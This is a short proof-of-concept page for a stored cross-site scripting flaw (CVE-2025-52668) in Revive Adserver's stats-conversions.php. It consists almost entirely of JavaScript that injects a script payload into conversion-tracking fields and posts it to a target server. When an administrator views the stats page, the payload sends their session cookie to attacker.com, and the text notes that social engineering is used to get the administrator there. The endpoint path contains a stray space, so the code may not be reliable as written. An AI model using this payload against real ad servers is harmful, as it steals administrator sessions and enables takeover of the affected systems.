CVE-2025-52668: Revive Adserver stats-conversions.php 存储型XSS漏洞

// CVE-2025-52668 PoC - Stored XSS in Revive Adserver stats-conversions.php // This PoC demonstrates the injection of malicious JavaScript through conversion tracking const payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // Step 1: Prepare malicious conversion tracking data const maliciousData = { conversion_id: '12345', advertiser_id: '100', campaign_id: '200', // Inject XSS payload in conversion data fields conversion_value: payload, conversion_type: 'purchase', timestamp: new Date().toISOString() }; // Step 2: Send malicious data to conversion tracking endpoint fetch('https://target-server/revive-adserver/track conversions.php', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams(maliciousData) }) .then(response => console.log('Payload sent successfully')) .catch(error => console.error('Error:', error)); // Step 3: Social engineering to get admin to visit stats page // When admin visits /stats-conversions.php, the script executes // Cookie stealing payload: document.location='https://attacker.com/log?c='+document.cookie